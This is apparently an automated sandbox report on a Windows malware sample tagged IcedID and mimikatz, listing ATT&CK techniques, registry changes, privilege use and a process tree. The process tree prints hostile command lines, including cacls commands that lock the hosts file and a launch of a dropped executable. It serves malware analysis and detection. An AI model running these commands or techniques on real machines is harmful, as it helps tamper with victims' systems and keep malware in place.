Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

net.exenetsh.exenetsh.exenetsh.exesc.execmd.execmd.exe2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.execmd.execmd.execmd.exenet.exenetsh.execmd.exenet1.execmd.execmd.execmd.exeschtasks.exeschtasks.exenetsh.execmd.exenet1.execacls.exesc.exenetsh.execmd.exenet.execmd.exenet.exetmyfwky.exenetsh.execmd.exeqigmew.execacls.execmd.execmd.exenet1.execmd.exenetsh.execmd.execmd.execmd.exenetsh.execmd.exenet.exenet.exenet1.exenet.exenetsh.execmd.execmd.exenet1.exenet1.exexohudmc.execacls.execacls.exenetsh.exenetsh.exewpcap.exenet.exenet1.execmd.execmd.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmyfwky.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qigmew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
2460	cmd.exe
3528	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
behavioral2/files/0x000a000000023b7c-6.dat	nsis_installer_2
behavioral2/files/0x0014000000023b8c-15.dat	nsis_installer_1
behavioral2/files/0x0014000000023b8c-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

Processes:

cmzbnyytn.execmzbnyytn.execmzbnyytn.exetmyfwky.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	tmyfwky.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	tmyfwky.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	tmyfwky.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	tmyfwky.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	tmyfwky.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	tmyfwky.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cmzbnyytn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cmzbnyytn.exe

Modifies registry class 14 IoCs

Processes:

tmyfwky.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	tmyfwky.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
3528	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
1728	schtasks.exe
2312	schtasks.exe
4952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

tmyfwky.exe

pid	Process
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid	Process
668
668
668
668
668
668
668
668
668
668
668
668
668
668
668

Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe

pid	Process
4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exetmyfwky.exetmyfwky.exevfshost.execmzbnyytn.exelfbpkn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.exe

description	pid	Process
Token: SeDebugPrivilege	4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	5056	tmyfwky.exe
Token: SeDebugPrivilege	4536	tmyfwky.exe
Token: SeDebugPrivilege	4128	vfshost.exe
Token: SeDebugPrivilege	4832	cmzbnyytn.exe
Token: SeLockMemoryPrivilege	1236	lfbpkn.exe
Token: SeLockMemoryPrivilege	1236	lfbpkn.exe
Token: SeDebugPrivilege	4052	cmzbnyytn.exe
Token: SeDebugPrivilege	3556	cmzbnyytn.exe
Token: SeDebugPrivilege	2056	cmzbnyytn.exe
Token: SeDebugPrivilege	2704	cmzbnyytn.exe
Token: SeDebugPrivilege	4492	cmzbnyytn.exe
Token: SeDebugPrivilege	3716	cmzbnyytn.exe
Token: SeDebugPrivilege	2108	cmzbnyytn.exe
Token: SeDebugPrivilege	4952	cmzbnyytn.exe
Token: SeDebugPrivilege	4668	cmzbnyytn.exe
Token: SeDebugPrivilege	3316	cmzbnyytn.exe
Token: SeDebugPrivilege	4604	cmzbnyytn.exe
Token: SeDebugPrivilege	4756	cmzbnyytn.exe
Token: SeDebugPrivilege	4792	cmzbnyytn.exe
Token: SeDebugPrivilege	3340	cmzbnyytn.exe
Token: SeDebugPrivilege	1356	cmzbnyytn.exe
Token: SeDebugPrivilege	3352	cmzbnyytn.exe
Token: SeDebugPrivilege	2476	cmzbnyytn.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exetmyfwky.exetmyfwky.exexohudmc.exeqigmew.exetmyfwky.exetmyfwky.exe

pid	Process
4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
5056	tmyfwky.exe
5056	tmyfwky.exe
4536	tmyfwky.exe
4536	tmyfwky.exe
5016	xohudmc.exe
1728	qigmew.exe
888	tmyfwky.exe
888	tmyfwky.exe
5976	tmyfwky.exe
5976	tmyfwky.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.execmd.exetmyfwky.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	Process	procid_target
PID 4036 wrote to memory of 2460	4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe	84
PID 4036 wrote to memory of 2460	4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe	84
PID 4036 wrote to memory of 2460	4036	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe	84
PID 2460 wrote to memory of 3528	2460	cmd.exe	86
PID 2460 wrote to memory of 3528	2460	cmd.exe	86
PID 2460 wrote to memory of 3528	2460	cmd.exe	86
PID 2460 wrote to memory of 5056	2460	cmd.exe	97
PID 2460 wrote to memory of 5056	2460	cmd.exe	97
PID 2460 wrote to memory of 5056	2460	cmd.exe	97
PID 4536 wrote to memory of 3492	4536	tmyfwky.exe	99
PID 4536 wrote to memory of 3492	4536	tmyfwky.exe	99
PID 4536 wrote to memory of 3492	4536	tmyfwky.exe	99
PID 3492 wrote to memory of 1624	3492	cmd.exe	101
PID 3492 wrote to memory of 1624	3492	cmd.exe	101
PID 3492 wrote to memory of 1624	3492	cmd.exe	101
PID 3492 wrote to memory of 5016	3492	cmd.exe	102
PID 3492 wrote to memory of 5016	3492	cmd.exe	102
PID 3492 wrote to memory of 5016	3492	cmd.exe	102
PID 3492 wrote to memory of 5040	3492	cmd.exe	103
PID 3492 wrote to memory of 5040	3492	cmd.exe	103
PID 3492 wrote to memory of 5040	3492	cmd.exe	103
PID 3492 wrote to memory of 3452	3492	cmd.exe	104
PID 3492 wrote to memory of 3452	3492	cmd.exe	104
PID 3492 wrote to memory of 3452	3492	cmd.exe	104
PID 3492 wrote to memory of 5100	3492	cmd.exe	105
PID 3492 wrote to memory of 5100	3492	cmd.exe	105
PID 3492 wrote to memory of 5100	3492	cmd.exe	105
PID 3492 wrote to memory of 2420	3492	cmd.exe	106
PID 3492 wrote to memory of 2420	3492	cmd.exe	106
PID 3492 wrote to memory of 2420	3492	cmd.exe	106
PID 4536 wrote to memory of 4380	4536	tmyfwky.exe	110
PID 4536 wrote to memory of 4380	4536	tmyfwky.exe	110
PID 4536 wrote to memory of 4380	4536	tmyfwky.exe	110
PID 4536 wrote to memory of 1284	4536	tmyfwky.exe	115
PID 4536 wrote to memory of 1284	4536	tmyfwky.exe	115
PID 4536 wrote to memory of 1284	4536	tmyfwky.exe	115
PID 4536 wrote to memory of 3020	4536	tmyfwky.exe	117
PID 4536 wrote to memory of 3020	4536	tmyfwky.exe	117
PID 4536 wrote to memory of 3020	4536	tmyfwky.exe	117
PID 4536 wrote to memory of 3548	4536	tmyfwky.exe	119
PID 4536 wrote to memory of 3548	4536	tmyfwky.exe	119
PID 4536 wrote to memory of 3548	4536	tmyfwky.exe	119
PID 3548 wrote to memory of 4928	3548	cmd.exe	121
PID 3548 wrote to memory of 4928	3548	cmd.exe	121
PID 3548 wrote to memory of 4928	3548	cmd.exe	121
PID 4928 wrote to memory of 1168	4928	wpcap.exe	122
PID 4928 wrote to memory of 1168	4928	wpcap.exe	122
PID 4928 wrote to memory of 1168	4928	wpcap.exe	122
PID 1168 wrote to memory of 1144	1168	net.exe	124
PID 1168 wrote to memory of 1144	1168	net.exe	124
PID 1168 wrote to memory of 1144	1168	net.exe	124
PID 4928 wrote to memory of 2036	4928	wpcap.exe	125
PID 4928 wrote to memory of 2036	4928	wpcap.exe	125
PID 4928 wrote to memory of 2036	4928	wpcap.exe	125
PID 2036 wrote to memory of 912	2036	net.exe	127
PID 2036 wrote to memory of 912	2036	net.exe	127
PID 2036 wrote to memory of 912	2036	net.exe	127
PID 4928 wrote to memory of 3660	4928	wpcap.exe	128
PID 4928 wrote to memory of 3660	4928	wpcap.exe	128
PID 4928 wrote to memory of 3660	4928	wpcap.exe	128
PID 3660 wrote to memory of 4548	3660	net.exe	130
PID 3660 wrote to memory of 4548	3660	net.exe	130
PID 3660 wrote to memory of 4548	3660	net.exe	130
PID 4928 wrote to memory of 516	4928	wpcap.exe	131

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2088
- C:\Windows\TEMP\dvfzrticv\lfbpkn.exe
  "C:\Windows\TEMP\dvfzrticv\lfbpkn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1236

C:\Users\Admin\AppData\Local\Temp\2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\cbdnbivt\tmyfwky.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3528
- - C:\Windows\cbdnbivt\tmyfwky.exe
    C:\Windows\cbdnbivt\tmyfwky.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5056

C:\Windows\cbdnbivt\tmyfwky.exe
C:\Windows\cbdnbivt\tmyfwky.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1624
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5040
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5100
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:2420
